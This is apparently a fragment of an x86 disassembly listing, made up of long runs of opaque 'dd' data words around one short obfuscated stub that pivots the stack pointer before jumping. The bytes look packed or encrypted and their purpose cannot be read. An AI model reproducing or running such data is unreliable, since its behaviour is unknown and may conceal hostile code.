		dd 0A8BD14AAh, 7906D7BBh, 59915F5Ah, 9BCFC771h,	156A840h
		dd 0BF530000h, 0D3D9BDAAh, 93615491h, 1A82B55Bh, 85AC5563h
		dd 0E64D3A4Dh, 0E65176F8h, 96FC2DCEh, 99986749h, 0E54CB303h
		dd 0E849B698h, 1D7C79Bh, 0CE64CD32h, 9BD0F8A2h,	5BD940h
		dd 2C840000h, 0C9DB92E4h, 19A7EFD7h, 0F0033B2Ch, 8CFBC9DBh
		dd 1502378Bh, 0C8DEF2DDh, 0C7E65492h, 92C9F6DAh, 4AB07E54h
		dd 0C9583CFDh, 0CA265492h, 0D30C1E3Ch, 0DF32A38Ch, 1E32D810h
		dd 27CFE198h, 0EEEAD7B1h, 889DB0E8h, 9962857Ah,	7F22A90h
		dd 5491ECF3h, 85972DFBh, 0C0h, 91FB2CE8h, 0FE33CCDAh, 130CFB1h
		dd 6350639Bh, 5176DB0Ch, 5187748Ch, 78DC8064h, 0D43A085Ah
		dd 3CA9B76Eh, 13FCA5DDh, 18FCE9FEh, 0A05A78DDh,	0DC5F43D2h
		dd 19E75A78h, 72AD5E1h,	75BC4250h, 4FB4B3Dh, 9768762Dh
		dd 0FEB54D9Ah, 78DD2D11h, 0AFE7B55Ah, 0DCDC4506h, 1AE65A78h
		dd 0FDE8CA17h, 0F8EDCF1Ch, 8A60AE21h, 0B7C5C205h, 0EFB3EB2Eh
		dd 7CB54A19h, 61CBFCE6h, 9DEABDAAh, 0A4725766h,	9F0FDBEDh
		dd 5F747DFFh, 639C7E27h, 0DDB72980h, 0F258357Ah, 5DD42D3Bh
		dd 89D77C25h, 61194A73h, 0BCA972D8h, 606758D8h,	52DE9260h
		dd 530A7096h, 54F49366h, 15FF1B5Dh, 0D79E91Eh, 0A5FF55Bh
		dd 9050B1BFh, 91D3BFA3h, 13794754h, 9A0235DBh, 9423F6E3h
		dd 0DDAB517Fh, 0E051AE90h, 2C05FA4Ah, 601E1EDFh, 1C5073EEh
		dd 0A98877CEh, 0F53CC313h, 0F73AC6A8h, 0B8F22E40h, 0AEDDAC82h
		dd 0DA28CD76h, 0E1202E0Ch, 0F30C1850h, 0A758A83Eh, 0A993D8Ah
		dd 0FA000000h, 0D11E13ECh, 58F00139h, 0FB1EC613h, 0FE33CCAEh
		dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h
		dd 811D4B6h, 821D9BBh, 89526FBBh, 4C281E2h, 83000000h
		dd 148704EAh, 4895C24h,	29686824h, 14890000h, 0C006824h
		dd 34890000h, 1EBF5724h, 5705EE40h, 0EC815F5Ah,	4, 81242489h
		dd 42404h, 815E0000h, 4ECh, 24148900h, 46242C81h, 8F1C7566h
		dd 46810846h, 75664608h, 2434FF1Ch, 4C4815Eh, 0FF000000h
		dd 835A2434h, 0A0E904C4h, 98FFF93Bh, 4481B8E2h,	0C50305EEh
		dd 6775E0FFh, 0D8A03C70h, 0B6AF587Bh, 27C11FA5h, 4EB7519h
		dd 36F3170Ah, 51AE9h, 0F0ADA00h, 58D12979h, 0A67372C2h
		dd 0F140C010h, 39F00B5Bh, 0FE218AA3h, 46962CFDh, 93E379B8h
		dd 0DD2DC36Eh, 0A4790F22h, 18BA9E8Bh, 5C425A80h, 0F839C6D7h
		dd 283E2F41h, 7CA85ECEh, 42B99B44h, 0FE0151E7h,	0FB04E633h
		dd 21CF14ECh, 58E7D5D4h, 49327FE5h, 9282785Ch, 0CC320054h
		dd 0C3371966h, 33671966h, 0C0718EA5h, 0A27DA2Ah, 54DD2474h
		dd 0C0718F9Dh, 0F643EE10h, 9B7D265Eh, 9F81CE63h, 0A183D061h
		dd 9D83D059h, 1CFBCC0Bh, 4DFB3E46h, 317FF2BFh, 887785DBh
		dd 2A90A15Fh, 6B9545DDh, 7F828EC6h, 82E9FBB2h, 0D0CD723Bh
		dd 0A6D1D6C1h, 72D883FAh, 7F8483Ah, 0D6C305E0h,	549247F2h
		dd 0F946AC7Ah, 985AE413h, 49AF01ADh, 0F6D596E3h, 0BF5492C9h
		dd 32DC8F5Dh, 13457C0Ah, 50h, 0AE39C6BEh, 2976DC4Dh, 91D38A68h
		dd 94A25354h, 0A7827966h, 0B7450941h, 7CFC1AC4h, 1FB45h
		dd 0C6A60000h, 303EF534h, 7E1663CEh, 101B7CCAh,	0ED252427h
		dd 91986244h, 939E6244h, 8A609446h, 33EA3FBBh, 653D625h
		dd 0F444366Eh, 3B90260Bh, 0A7F435C6h, 3DF435C5h, 0E817D02Fh
		dd 0FE64FC49h, 756219B1h, 5491D391h, 6A134B19h,	150A696h
		dd 49992FFAh, 452E7BB6h, 1865C437h, 0A93C4880h,	545A2370h
		dd 0FA39D386h, 891A457Ch, 0C5000000h, 0A7F435C6h, 0ACF920C5h
		dd 1A30C6FAh, 0D4341805h, 0EEBC5491h, 0D851AAB6h, 91030F21h
		dd 55E9A1F3h, 0E99DCABFh, 0BD41FE49h, 0C75A0E74h, 0E22DB7F5h
		dd 0B505F72Fh, 1E2CE346h, 6C154DDCh, 85C6E83h, 0CA03FCFCh
		dd 10CEB241h, 3E565492h, 0CE066CBDh, 3CF33EC2h,	2A62B72Eh
		dd 24B2B881h, 7CC79731h, 4C7845h, 0C6230000h, 2F3DF435h
		dd 36AF5FD2h, 2002ABE3h, 8E0350E1h, 22340AE0h, 2A9EC9EEh
		dd 0E4F02820h, 277C1217h, 0B7A434C6h, 5491D3D3h, 0D3856956h
		dd 3F0D5491h, 0A58C758Dh, 0CB8CD93Fh, 5491D3ECh, 0D28553B5h
		dd 457CFC28h, 109h, 1FC6B400h, 92DF4AB0h, 654794FAh, 0A54A979Ah
		dd 2EEBFA08h, 3100FFE1h, 0AEE64CE4h, 0A0451CEAh, 4BB4C279h
		dd 0C90199E6h, 8BAEDD7h, 57EF3CDDh, 17253AF1h, 16FC49E8h
		dd 0C9B609C6h, 6DA50BD0h, 7723AF82h, 1C693751h,	0D66CC53Ah
		dd 528E717Fh, 79298165h, 0D53B095Ah, 796E919Dh,	0FA47AD6Ch
		dd 79295B39h, 4E9C4A5Ah, 932908F7h, 1224BC43h, 4510297Ch
		dd 14F887DEh, 9C5A78FDh, 391B68CEh, 4A1E6BC6h, 4AB58C5Ah
		dd 6AD0619Dh, 8F6F7DD4h, 85BD55A2h, 9BD5F39Dh, 127D440h
		dd 2C7F0000h, 0EDDA91FBh, 5176F986h, 896BB886h,	0EF04BB76h
		dd 79001E02h, 0A0D8A65Ah, 90A15EAEh, 939E6143h,	979A6446h
		dd 9693684Ah, 8F736049h, 175A78FFh, 7288D649h, 4D9B8B2Dh
		dd 1CDE09F6h, 0A5F237C3h, 0C25AA70Dh, 0F09AC65Ch, 30409BD0h
		dd 27C0571Eh, 0A8E02DE2h, 3436h, 0E42CE100h, 0DAEEDB92h
		dd 0E25491D3h, 0D4F2D6C3h, 627A5491h, 0AE46939Eh, 0D495E248h
		dd 5491D4F0h, 239462BEh, 0E5D289EFh, 5491D4D1h,	63750BD9h
		dd 99h,	4FB1BFC6h, 0C5FD95E2h, 0CD84F41Fh, 76DB89E0h, 0FDEA0951h
		dd 5A78DE19h, 206DD3A1h, 0BD52937h, 78DE3A1Eh, 8EF4C25Ah
		dd 6571A941h, 0AA01979Ah, 92CA5F9Ch, 7A677986h,	5A78DD96h
		dd 9DEA501Eh, 78DE73DCh, 0AE3CEA5Ah, 33C96897h,	217CEDCh
		dd 0A3B7D34Eh, 8408402h, 10C73162h, 670A4E23h, 3FBBC957h
		dd 8CC8AC99h, 82506067h, 0FF37CF1Ch, 0F4D623F1h, 616F260Bh
		dd 0B35C949Dh, 812AC00Eh, 0CD649C56h, 0AE9BB067h, 60678CCAh
		dd 394C8452h, 554F774Ch, 9329F75Dh, 91FB2C3Eh, 9718EDDAh
		dd 0CA98517Fh, 0CD649B7Dh, 1918E737h, 0D4AC0BCCh, 2A5E6D7Ah
		dd 6D7A85DCh, 0B74F9C8Dh, 0ED3AF707h, 259EF55h,	0DA270AF4h
		dd 1FE0A42h, 0FF01E330h, 0F240E532h, 443146E4h,	8D9D7660h
		dd 15661AE8h, 0CF3CE969h, 25DAE61Eh, 0A1F760Ch,	9D0C391Dh
		dd 3CF3C18Dh, 9D0B6B4Fh, 0ED25F38Dh, 5C131EE1h,	11B67D4Ah
		dd 568E934Ch, 0C2AFC4ADh, 8D9D37DEh, 92609866h,	3, 0C61358F5h
		dd 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh, 0D3B50227h
		dd 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h, 4EC81h
		dd 8F540000h, 4812404h,	424h, 4B0D6800h, 2C890000h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 68243C89h, 5250h,	68241489h
		dd 7CD3C5Dh, 6E2C15Ah, 0D22CEA81h, 0D589ED60h, 3C8B545Ah
		dd 4C48124h, 53000000h,	24348155h, 47E01C0Ah, 0AF3815Bh
		dd 8947E01Ch, 0FF5B085Fh, 815F2434h, 4C4h, 242C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dd 25DF5F57h, 0B84A0D15h, 5EE499Fh, 0E0FFC503h,	300E4A81h
		dd 51004E52h, 5067759Ah, 2CF39651h, 6DA5FF73h, 40F903B1h
		dd 4B528B27h, 4E7BE2ACh, 160140FDh, 64F76878h, 32522687h
		dd 10EC3856h, 6D082D56h, 0E7DEC97h, 4C92B02Eh, 3FFC5655h
		dd 7BA17961h, 473AE12h,	2BB1FDD2h, 4397543Bh, 5FD1BDB7h
		dd 4B398D8Dh, 6A05EEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0C98CA7C3h, 9E957h, 0A42F0000h
		dd 0A4DC05C8h, 5F872927h, 1AA98D89h, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7FFDDDC3h
		dd 4016FE56h, 2A4D85C7h, 62F005E7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C74FC3h
		dd 5E72739h, 0
		dd 2A29B5FFh, 890F05E7h, 3, 0FF60F480h,	0E7179595h, 0B99D3305h
		dd 6A05E728h, 0C195FF00h, 8B05E721h, 8A28EBC0h,	0F206EA6Eh
		dd 0D5AD10DBh, 20F6D7BFh, 0D46B2314h, 0CC09F971h, 8AA3AF12h
		dd 0E4AC205Eh, 3C8F790Eh, 0FF550410h, 0EB854D4Fh, 0A9003E04h
		dd 0D34E93Bh, 33680000h, 0E905EE4Dh, 0FFF93513h, 0EE4E6168h
		dd 3509E905h, 9768FFF9h, 0E905EE50h, 0FFF934FFh, 0EE518C68h
		dd 34F5E905h, 0EE68FFF9h, 0E905EE54h, 0FFF934EBh, 0EE563D68h
		dd 34E1E905h, 1968FFF9h, 0E905EE57h, 0FFF934D7h, 1CB2677Dh
		dd 65FB2ECCh, 0B349D015h, 0FE949D63h, 46DC4DAEh, 5AA1C42Dh
		dd 15E939CFh, 0CB36861Ch, 7F80D066h, 2E471CB2h,	801E5D41h
		dd 7AFFE55Ah, 934DB1BFh, 91D3C2A6h, 167C4A54h, 0B32DD2DEh
		dd 91D3E2C6h, 369C6A54h, 0EBF807E9h, 0DD84BEF0h, 5B48FF24h
		dd 5492A677h, 7ECB31FFh, 7FCC659Ch, 0E77E8CDAh,	1885CB18h
		dd 267A2479h, 0C5D32AC0h, 0B4C0F839h, 0FC4CE247h, 0FFE12E03h
		dd 1BFEE700h, 2351FB5h,	97F6E39Ah, 1751776Dh, 5B3BFC49h
		dd 0DD5A796Dh, 0E2C41108h, 1FC41118h, 0DF763BD1h, 1F2D03D9h
		dd 6D0552DFh, 62A34D35h, 2F84409Bh, 2F000000h, 0B443FB2Ch
		dd 0DD4A48E6h, 566B2288h, 0CF2FB848h, 0D9C4FC62h, 51772612h
		dd 0B677C492h, 5A7925D6h, 0EA9D6B71h, 409BAE40h, 0E221h
		dd 39C6CC00h, 32C9ABF8h, 27DE53ADh, 91D3563Ah, 0AA10DE54h
		dd 725F745Dh, 5491D38Eh, 4104816h, 0E936FBh, 0D32009F2h
		dd 8F7033Bh, 0DE607229h, 0AC4AEA7h, 0D0E4C8B5h,	9E6C5492h
		dd 0DF0E0038h, 5492D556h, 0B2489F60h, 2C922A77h, 78B94696h
		dd 1484AF2Bh, 0C53A485Dh, 5E49346Ch, 665177D9h,	0EF180298h
		dd 8CD9C67Dh, 0C57606Eh, 0E1D72DF0h, 0A75E127Ch, 63B8D6BAh
		dd 2A905E60h, 93966573h, 217CEDCh, 0F3E51DB5h, 0BF728E9Ch
		dd 0A9807B87h, 5DBF685h, 0D17552DFh, 0AC8h, 982EEBF9h
		dd 0E177B248h, 2FC55491h, 7A1021DFh, 0C258D12Ah, 0DE1D40A9h
		dd 9965B54Bh, 4FB20298h, 3FC4CE2h, 0AAC3982Eh, 8020D9BDh
		dd 0F67B615Ah, 0CB43ADBFh, 0B7489533h, 0A188737Fh, 55A6B40Bh
		dd 6F909CD4h, 2CD72CC2h, 0CCDA91FBh, 0B1C4FC35h, 76FBFDC4h
		dd 80657D51h, 1C82AF4Fh, 0C8A869B6h, 635A78FBh,	9CB18F5Dh
		dd 73C0718Eh, 0FB684CDBh, 22F05A78h, 0D45802EAh, 0FD39409Bh
		dd 0E2000000h, 7FCE0CDh, 0B6845A79h, 0ADBF6D7Eh, 0E16064ACh
		dd 9FABE3C8h, 0D2478360h, 0B6719437h, 0DA210350h, 0B841024Fh
		dd 0C254925Dh, 75EF43Dh, 0A7B9D7F5h, 0F028C12Ah, 5F161BE4h
		dd 0D383AE51h, 1DB50227h, 45533CE5h, 8F2774B5h,	0CC86B157h
		dd 0E74AB532h, 0E59C029Ah, 920A14F8h, 68CE9C54h, 0DD9C4B1h
		dd 13E15177h, 0AA60937Dh, 0BB8D19F9h, 7C339962h, 5FF8318Fh
		dd 0A592B157h, 606319C1h, 4CC77B49h, 6EFC4068h,	0B3C178DEh
		dd 0FB4BE148h, 7EBD800h, 9160636Dh, 0DC74C170h,	0EDAF0E2Ah
		dd 0BEE49C5Fh, 0B7CEF258h, 7DF06ADh, 99A862Ah, 0BD270000h
		dd 8476C65Ch, 26BF0FA5h, 0F30D5DF3h, 0A358A83Eh, 6ED7F086h
		dd 0E379B04Bh, 30C66B93h, 7A1021E0h, 0C65CD52Ah, 7EBD8F1h
		dd 8F5A8022h, 0ADBF24A9h, 7F862AF6h, 19255D3Dh,	829047E2h
		dd 0D7576378h, 0DDEDFF27h, 0FD4D3F77h, 44992F02h, 53AE39C6h
		dd 93F991DEh, 4C9B6446h, 4C327FB2h, 374960B5h, 49AF15E6h
		dd 0E4A484B3h, 0D9265491h, 3A8FA158h, 0F6DAC7E9h, 7E5491F1h
		dd 180BFCB0h, 0CF1F1149h, 1530B330h, 1A8D38C4h,	7A8567B4h
		dd 0DF200B7h, 73FD724h,	3D4B8A5Eh, 743870C1h, 130CF66h
		dd 86953F6Bh, 0D876457Ch, 21000000h, 0DA91FB2Ch, 76C7CAEDh
		dd 26BFCD51h, 95ADBBF3h, 0B1807F50h, 8112974Bh,	0C9508BE2h
		dd 1F2D1663h, 59A252DFh, 0B3EB83D0h, 797AE8C8h,	6F7D835Ah
		dd 9B5F52FCh, 9D3340h, 0E7DE0000h, 5491D408h, 365A7183h
		dd 8C884E2Ah, 1385AE54h, 81B04E5Ch, 51649C34h, 774A6164h
		dd 5D4A6951h, 5A796A79h, 8436FB03h, 63BA50B6h, 3784A555h
		dd 0A05B679Fh, 0C4A6373Bh, 7924F3D7h, 0F9AD7B5Ah, 77DD0DFFh
		dd 0C285AE2Ah, 79CDF1D5h, 0A9807B5Ah, 4412C45Ch, 0B33A27DEh
		dd 0AE575EC9h, 63815AA0h, 3E313EDh, 35437BE1h, 8081D167h
		dd 30969367h, 0CC3C67E3h, 0F0F70715h, 3AD21F0Ah, 9C899CD4h
		dd 5D46E5E9h, 0B60DA371h, 5986A5A4h, 23D7C323h,	0BB21B906h
		dd 539B583h, 2C180000h,	0EDDA91FBh, 5176D80Eh, 0B273C08Eh
		dd 5A78D7D2h, 0E691676Dh, 409BFC3Ch, 51A1Dh, 0E9B4C600h
		dd 0DBEC9DF8h, 57A5B6EEh, 44FE2925h, 8E2673B6h,	41847128h
		dd 0C45176E2h, 6DEC2AFh, 7D685A79h, 5B74F9Ch, 0D9F1FF37h
		dd 35A20821h, 28347A8Ch, 49FD34CCh, 0D3270E53h,	0C140F056h
		dd 0C44D3870h, 34033CDCh, 0CDE29903h, 0A1EE3BBFh, 8CA55909h
		dd 22866954h, 400E0124h, 924C77F3h, 0A45BC168h,	0A33DD392h
		dd 7CB4E096h, 0C63D7C69h, 0EFBD070Fh, 5CD52A38h, 0CB4E97A5h
		dd 0B7F5C717h, 96CEC48Ch, 86AB54A4h, 598E2D62h,	0C468452Fh
		dd 764h, 0FC92875Dh, 45DB4EACh,	9329F0F5h, 0DE74BD43h
		dd 26BC6D8Eh, 7A81A40Dh, 35C919AFh, 0EB1666FCh,	9F60B046h
		dd 0E27FC92h, 80243D21h, 5ADFC55Ah, 8EAA39C6h, 39E27EFDh
		dd 7DCA4F96h, 0CC197FE5h, 0B729D5E3h, 92A1E6CAh, 3AA06E54h
		dd 40A555EDh, 0C8FBA1D9h, 99BCA960h, 0A15177A8h, 0F30E1CD3h
		dd 8572873Eh, 5A79AAA1h, 0AA533724h, 0DDB5A79h,	63558D5Bh
		dd 0F643EE13h, 79AA5135h, 9B1CFC5Ah, 0D3045A79h, 0EEC5B269h
		dd 6E575EB2h, 0B29253A0h, 4D6060D2h, 1C15EAF8h,	519E936Ch
		dd 2FBD81B9h, 0B203923Ch, 2F734Eh, 2C1E0000h, 75B447FBh
		dd 0ECD99028h, 5491D408h, 0A55CC290h, 0D3BFA390h, 0B1495491h
		dd 0E1932B78h, 0DBC8DB13h, 5176D230h, 0F99DEAB8h, 0Eh
		dd 91FB2C5Ch, 0C0D2EDDAh, 0CDA5176h, 39C6D8BFh,	0C0C5D4F8h
		dd 0D0ADEAD7h, 66F2Ch, 87925200h, 0D059A1F1h, 1EFBEA3Ah
		dd 69C83888h, 0B17883D3h, 7699021Bh, 0BE0EA485h, 0B5BF140h
		dd 55A53BF6h, 1CF187AAh, 25321603h, 0D4BA5A80h,	91FB2C4Fh
		dd 0D1EEEDDAh, 0D6EE5176h, 529F0524h, 35548F70h, 3F1FC9BFh
		dd 0BE738D3Dh, 0DD73D971h, 0C2B24FAEh, 9D133779h, 82EA1D07h
		dd 57A8B6CBh, 9CB7A2DAh, 0A47EA9C3h, 0F0111FD6h, 7E600941h
		dd 959C637Ch, 0B44AB048h, 782F99CAh, 90E1B48Bh,	2A183484h
		dd 4525DAA9h, 0C41108DDh, 1360C62Ch, 93857252h,	0F1070D8Dh
		dd 7D4ADC86h, 16EBD7Ch,	0BF680000h, 0D3D9BDAAh,	93615491h
		dd 1A82B55Bh, 32A65563h, 91D36145h, 0B51BE954h,	8598D068h
		dd 76D19998h, 7ECB9951h, 38CE639Ch, 631A17E8h, 3A87AA55h
		dd 0C16AA2h, 79C1ECA1h,	855DC23h, 956DB26h, 0EB57DA27h
		dd 0B434798Fh, 0BDC2331h, 59F13EF3h, 0D60EA6F3h, 926DC412h
		dd 70D6E89Fh, 6F98043Ah, 409082BAh, 642572BFh, 0A10D8205h
		dd 6CB97887h, 6CB9708Ah, 352A898h, 5BCE34FDh, 4C61FF0Dh
		dd 0FA57B5Fh, 1BE703A9h, 0D073EB13h, 0A7B3EB51h, 0F343D958h
		dd 0EFD8250Ch, 0FB09EDDAh, 6793A90Eh, 2BDD75C2h, 567F255Dh
		dd 7A3E2BE2h, 2A90EFAh,	39479E34h, 0EEB66AC7h, 0C9689ED6h
		dd 5B8C326Ah, 724D3AF1h, 0F5A5F43Ah, 0CE1BFEE7h, 22F0FE36h
		dd 250CF3D5h, 0D42A388Fh, 0D5B9A65Dh, 5DAEF640h, 0B44B578Fh
		dd 0A36F307Dh
		dd 6AAEF640h, 8877CE1Ch, 298FA25Fh, 59226493h, 97A57B2Ah
		dd 0E37BC869h, 1AD16A2Fh, 2E661464h, 60A04088h,	0C681141Ah
		dd 41E813C3h, 60F65CF4h, 8B42EF10h, 78B0817Dh, 0A7DA0ECFh
		dd 6094A18Eh, 9F44BB8Ah, 0D3A5EBD1h, 88F9A39Ch,	6DA06F8Dh
		dd 0D8EAA107h, 1CAB83Ah, 0F9F5FEh, 1107338Dh, 2A8173ABh
		dd 0A050C91Ch, 8A96CE5Bh, 0F36FBC75h, 0B4A158C0h, 0A676B6E9h
		dd 87A25971h, 4D798B21h, 0DC000000h, 9249B1BFh,	7DC74C37h
		dd 0C1F95F30h, 0C980E81Bh, 779931DCh, 9EEBB951h, 55EB3EBCh
		dd 1E0BF0FEh, 0F10139D1h, 12433825h, 408DA45Ch,	9E8B42A8h
		dd 5A79A2C2h, 69C83745h, 0A2E1C5B2h, 9B695A79h,	1875563h
		dd 0AF827C8Ah, 8192CA62h, 62F839C6h, 26DD4F78h,	0FE4BE618h
		dd 61B2E66h, 0DC2908F8h, 89B6F5F6h, 83E9FBEBh, 0B6032ED3h
		dd 80FBE61Eh, 885176E6h, 0CF503BAh, 0CCDAED25h,	1666FC35h
		dd 2C05FCEBh, 2AE147DFh, 0E95F1118h, 33CB1811h,	0AF4AAD7Fh
		dd 0D7E5CE77h, 2BD10928h, 0ECD990F8h, 575E97C9h, 374C03D1h
		dd 609A664Ah, 0ED2EE60h, 0DCF9FE5Eh, 943D75DBh,	5FEEF3D3h
		dd 40A8DB60h, 725F7489h, 60600E8Eh, 25104816h, 5D45064Eh
		dd 344900CEh, 47266347h, 0E51DEB66h, 269B7B3Ch,	30366647h
		dd 0AF05AFDAh, 34E654C9h, 91000000h, 0DA91FB2Ch, 0C0AD33CCh
		dd 5491D3DCh, 79309664h, 91D3A88Ch, 2A623054h, 0D17F2A17h
		dd 0F4025176h, 3ED62306h, 70BD6C8Eh, 0C492A0D8h, 22D377h
		dd 2C360000h, 0CCCA43FBh, 20D822BAh, 0F0F503BAh, 307EBD8h
		dd 0C18F5492h, 2310235Bh, 5176F008h, 0EF54210h,	0D4F839C6h
		dd 0EAD7C0CFh, 0D1ABE9Bh, 0B4000003h, 353E930h,	4C9C32F7h
		dd 9AEA8099h, 0E535CB66h, 647D1316h, 623D8FBh, 53DE2070h
		dd 9D946DBDh, 0E948B707h, 78657E53h, 5A802794h,	0C6B1361Ch
		dd 0C2ABF839h, 0B429C0B0h, 0C80008C2h, 0B09D43BCh, 5492D2CCh
		dd 8A208654h, 4E0577A0h, 77DF0261h, 0FDB48251h,	2CD512EFh
		dd 0BA20B805h, 3818D982h, 0D35A79DFh, 13213FCDh, 2D04FAEDh
		dd 0AAE248E0h, 94F318C2h, 50F940h, 90A20000h, 3F7CD03h
		dd 0F1D67226h, 2CABBCF4h, 0C8DA91FBh, 1E7B228Bh, 0F1043C29h
		dd 77DA3D04h, 0A2EFBD51h, 79DA01E1h, 32479C5Ah,	79D96145h
		dd 0DDCAE95Ah, 5A79D9F9h, 154DB381h, 26D0BB51h,	74094FAh
		dd 0D0h, 8B929EB0h, 0B97C962h, 39C6C2D3h, 32C9ABF8h, 0AFC1AAF7h
		dd 0FD38AA44h, 9BA7DFB3h, 9780CD64h, 6BB87189h,	708F9BD3h
		dd 0C6D42BC1h, 9F46F63Bh, 5D952D7Ah, 921BE972h,	0DB0CF354h
		dd 12A80E23h, 0A7F43DC2h, 0E34EB0BEh, 6AD205ABh, 0DD3C6B3h
		dd 0BCDB5177h, 93E051AEh, 34886CFBh, 1E0B5A79h,	5A79353Ah
		dd 7442F4C2h, 658E780Eh, 0E94F3CF3h, 0E9575FC8h, 0A556641Bh
		dd 8997EE84h, 7884BC75h, 2B82A683h, 83DF06ABh, 1BE02A6h
		dd 0E1030000h, 0A852A238h, 4A9BEB81h, 17E939CFh, 0C734841Ah
		dd 4AB3CC62h, 0BF55D427h, 0CA28F6Fh, 56EC45BCh,	0A238F906h
		dd 0E3C7B4CDh, 6B5A8029h, 0ADBF0085h, 0DE5EDAAEh, 0B8C4FCB6h
		dd 50E643h, 479C32FFh, 0DA91FB2Ch, 76FC26EDh, 6C93A151h
		dd 0A8E078C5h, 0BE7FCC9Ah, 5A78FBDEh, 0C7657379h, 0A0ED2CB9h
		dd 87A25808h, 826AA23Ah, 409BD4D8h, 0A2B9h, 39C66400h
		dd 32C9ABF8h, 60E9AAF7h, 6A5491D8h, 0B6069C95h,	2331E849h
		dd 731C54DDh, 0D30ECCF7h, 651FA361h, 3320D73Dh,	51775640h
		dd 0B1C37A48h, 0EE7F968Fh, 0C2B4EC1Fh, 863DAFD8h, 59A68378h
		dd 897689C1h, 57604B44h, 0DC55ACC4h, 1BD9A98Fh,	44F606ADh
		dd 0B3C178DEh, 0FB4BE148h, 0B2052900h, 0FEDF06C0h, 0E27D21h
		dd 5DF0000h, 0CC2E7E14h, 6E77C75Dh, 3BC515ABh, 0EB1060F6h
		dd 268FA83Eh, 9B31F803h, 0E87EB34Bh, 32C86998h,	7E141DE2h
		dd 0BFA390A9h, 475A802Ah, 35C6DC61h, 0F10E5EF4h, 0C655AA40h
		dd 0C9ABF839h, 3644FB36h, 4FDA20AFh, 0B7046A02h, 0BF5E71Fh
		dd 58D926D8h, 564E3BF2h, 56517F98h, 0A6593B88h,	5AA5F58Bh
		dd 59C98AD7h, 5B70C4D7h, 5B3D8A9Fh, 0A13F8CA5h,	6AEAB745h
		dd 758AA036h, 0C777A488h, 0EA142C98h, 9DA9E147h, 618CF62h
		dd 32DE192Eh, 0E6D810BCh, 7BC86996h, 0B77A8492h, 0A48D737Fh
		dd 7EBD8EDh, 8F98C71Fh,	58A58477h, 79225AC0h, 0E17086D4h
		dd 2D7D131Eh, 85E211D2h, 0E4461792h, 0C78513F7h, 67CD9B98h
		dd 0B9CBB401h, 0F1A786D7h, 0CD9BD355h, 0Ch, 0E6ADBF30h
		dd 50B2960Ah, 99DE5890h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh
		dd 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h
		dd 0BB0821D9h, 0E189516Fh, 4C181h, 0E9830000h, 240C8704h
		dd 5124248Bh, 0C181E189h, 4, 8704E983h,	895C240Ch, 8E68240Ch
		dd 8900001Fh, 0BD552434h, 5EE4BB7h, 835D5955h, 248904ECh
		dd 24048324h, 53525E04h, 0A23165BBh, 316DBA6Ah,	0DA296AA2h
		dd 89F2015Bh, 348B5A0Ah, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 2434FF5Ch, 4C48159h, 0E9000000h, 0FFF927F7h
		dd 343FDAA3h, 74F4EC97h, 88F071ADh, 20B89B66h, 305EE58h
		dd 7E0FFC5h, 4D12C625h,	0CD0C52A3h, 0BC4C44CDh,	192EDE3Ch
		dd 0D70BDAF4h, 0E0706233h, 99110FBEh, 0EB667F40h, 0D4979B04h
		dd 4DCE93Dh, 459F0000h,	0CEE3ED4h, 0AE37871Dh, 7B85D56Bh
		dd 2BD020B6h, 0E64F68FEh, 5BF138C3h, 0A83EF30Bh, 0F288A958h
		dd 3ED45DA2h, 7F635069h, 75A802Bh, 39C69C21h, 32C9ABF8h
		dd 0FC0A61F7h, 0EAF62E03h, 3EBDCB15h, 0D3785CEBh, 32005491h
		dd 4CB27F82h, 4FE21DFFh, 4FDA2002h, 0CE1C5002h,	13A98877h
		dd 5DF33EC3h, 2B06F806h, 171AE7F3h, 1B16E8CAh, 0DDB29CEh
		dd 0E51CCB36h, 1D2FE64Ch, 30B0ECDCh, 0E8DA123Ch, 13CA6798h
		dd 18FCE9FEh, 0A054929Fh, 9E5F43D2h, 19E75492h,	987738E1h
		dd 6154929Eh, 0D47EE9FFh, 0B5457C37h, 6Dh, 0F839C660h
		dd 0D40CEAABh, 24D55491h, 0FA47EA16h, 90662A62h, 7CFC3BE5h
		dd 0B1C45h, 0B0C50000h,	91DFDFC3h, 61996754h, 0BDAABF50h
		dd 5491D3D9h, 4F5B9361h, 4F317EABh, 19C634ABh, 9AE74DCCh
		dd 6D4F9C02h, 9F519E93h, 34C69D6Bh, 0E32C3EF5h,	9A08935Ah
		dd 0E12EFB00h, 0B9ABE349h, 204D9669h, 56C9D4FDh, 0E0EEA50Bh
		dd 0E8DA121Fh, 0F435C693h, 0F435C5A7h, 62CF2F3Dh, 0D3DABEABh
		dd 94625491h, 0EFDFB35Ch, 78B14A19h, 0C46D92E2h, 0C9509577h
		dd 2C10FD12h, 0B45491D4h, 3C05AEE6h, 1BB5A036h,	0FC457CFAh
		dd 76h,	796A97A5h, 988200F2h, 1C54BA69h, 0F435C60Bh, 573B283Dh
		dd 0DF5491D3h, 4E30D911h, 83358297h, 51AAB94Fh,	0EC1321D8h
		dd 2860F845h, 1415E636h, 161BE5C7h, 0ECFA00C9h,	7CFADF79h
		dd 0EF111F45h, 0DE2004F1h, 0DAA85491h, 0DB8F2774h, 5A90D4FCh
		dd 0CE407814h, 44h, 0F435C679h,	0F53CC5A7h, 778533A8h
		dd 0F3D7C4D9h, 7B5491D3h, 2E949D63h, 1811EAF6h,	34C62D82h
		dd 0B5303EF5h, 0C2832C64h, 5491D3E3h, 14EDFBACh, 9C8D6D1Dh
		dd 0BB7FB74Fh, 0FC903A2Dh, 171457Ch, 1C000000h,	0ADFA1FC6h
		dd 9345B6C4h, 91D3C2A6h, 167C4A54h, 0EDF931C9h,	2DD21F12h
